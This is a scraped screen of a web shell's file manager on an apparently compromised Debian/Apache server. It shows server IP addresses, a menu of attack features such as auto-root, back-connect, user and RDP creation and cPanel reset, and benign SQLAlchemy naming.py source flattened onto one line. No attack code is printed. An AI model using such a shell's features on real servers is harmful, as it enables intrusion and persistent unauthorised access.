Linux biogene 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
Apache
: 46.101.124.208 | : 3.21.114.165
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
sqlalchemy /
sql /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
1.68
KB
-rw-r--r--
__init__.pyc
2.56
KB
-rw-r--r--
annotation.py
5.97
KB
-rw-r--r--
annotation.pyc
6.39
KB
-rw-r--r--
base.py
20.97
KB
-rw-r--r--
base.pyc
26.95
KB
-rw-r--r--
compiler.py
106.86
KB
-rw-r--r--
compiler.pyc
94.95
KB
-rw-r--r--
ddl.py
28.02
KB
-rw-r--r--
ddl.pyc
31.76
KB
-rw-r--r--
default_comparator.py
12.82
KB
-rw-r--r--
default_comparator.pyc
10.57
KB
-rw-r--r--
dml.py
29.35
KB
-rw-r--r--
dml.pyc
29.88
KB
-rw-r--r--
elements.py
119.21
KB
-rw-r--r--
elements.pyc
135.15
KB
-rw-r--r--
expression.py
5.54
KB
-rw-r--r--
expression.pyc
5.74
KB
-rw-r--r--
functions.py
17.46
KB
-rw-r--r--
functions.pyc
20.95
KB
-rw-r--r--
naming.py
4.48
KB
-rw-r--r--
naming.pyc
5.3
KB
-rw-r--r--
operators.py
21.98
KB
-rw-r--r--
operators.pyc
31.5
KB
-rw-r--r--
schema.py
131.69
KB
-rw-r--r--
schema.pyc
130.05
KB
-rw-r--r--
selectable.py
108.96
KB
-rw-r--r--
selectable.pyc
114.6
KB
-rw-r--r--
sqltypes.py
53.35
KB
-rw-r--r--
sqltypes.pyc
61.85
KB
-rw-r--r--
type_api.py
36.81
KB
-rw-r--r--
type_api.pyc
38.79
KB
-rw-r--r--
util.py
19.04
KB
-rw-r--r--
util.pyc
19.91
KB
-rw-r--r--
visitors.py
9.71
KB
-rw-r--r--
visitors.pyc
11.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : naming.py
# sqlalchemy/naming.py # Copyright (C) 2005-2014 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """Establish constraint and index naming conventions. """ from .schema import Constraint, ForeignKeyConstraint, PrimaryKeyConstraint, \ UniqueConstraint, CheckConstraint, Index, Table, Column from .. import event, events from .. import exc from .elements import _truncated_label, _defer_name, _defer_none_name, conv import re class ConventionDict(object): def __init__(self, const, table, convention): self.const = const self._is_fk = isinstance(const, ForeignKeyConstraint) self.table = table self.convention = convention self._const_name = const.name def _key_table_name(self): return self.table.name def _column_X(self, idx): if self._is_fk: fk = self.const.elements[idx] return fk.parent else: return list(self.const.columns)[idx] def _key_constraint_name(self): if isinstance(self._const_name, (type(None), _defer_none_name)): raise exc.InvalidRequestError( "Naming convention including " "%(constraint_name)s token requires that " "constraint is explicitly named." ) if not isinstance(self._const_name, conv): self.const.name = None return self._const_name def _key_column_X_name(self, idx): return self._column_X(idx).name def _key_column_X_label(self, idx): return self._column_X(idx)._label def _key_referred_table_name(self): fk = self.const.elements[0] refs = fk.target_fullname.split(".") if len(refs) == 3: refschema, reftable, refcol = refs else: reftable, refcol = refs return reftable def _key_referred_column_X_name(self, idx): fk = self.const.elements[idx] refs = fk.target_fullname.split(".") if len(refs) == 3: refschema, reftable, refcol = refs else: reftable, refcol = refs return refcol def __getitem__(self, key): if key in self.convention: return self.convention[key](self.const, self.table) elif hasattr(self, '_key_%s' % key): return getattr(self, '_key_%s' % key)() else: col_template = re.match(r".*_?column_(\d+)_.+", key) if col_template: idx = col_template.group(1) attr = "_key_" + key.replace(idx, "X") idx = int(idx) if hasattr(self, attr): return getattr(self, attr)(idx) raise KeyError(key) _prefix_dict = { Index: "ix", PrimaryKeyConstraint: "pk", CheckConstraint: "ck", UniqueConstraint: "uq", ForeignKeyConstraint: "fk" } def _get_convention(dict_, key): for super_ in key.__mro__: if super_ in _prefix_dict and _prefix_dict[super_] in dict_: return dict_[_prefix_dict[super_]] elif super_ in dict_: return dict_[super_] else: return None def _constraint_name_for_table(const, table): metadata = table.metadata convention = _get_convention(metadata.naming_convention, type(const)) if isinstance(const.name, conv): return const.name elif convention is not None and ( const.name is None or not isinstance(const.name, conv) and "constraint_name" in convention ): return conv( convention % ConventionDict(const, table, metadata.naming_convention) ) elif isinstance(convention, _defer_none_name): return None @event.listens_for(Constraint, "after_parent_attach") @event.listens_for(Index, "after_parent_attach") def _constraint_name(const, table): if isinstance(table, Column): # for column-attached constraint, set another event # to link the column attached to the table as this constraint # associated with the table. event.listen(table, "after_parent_attach", lambda col, table: _constraint_name(const, table) ) elif isinstance(table, Table): if isinstance(const.name, (conv, _defer_name)): return newname = _constraint_name_for_table(const, table) if newname is not None: const.name = newname
Close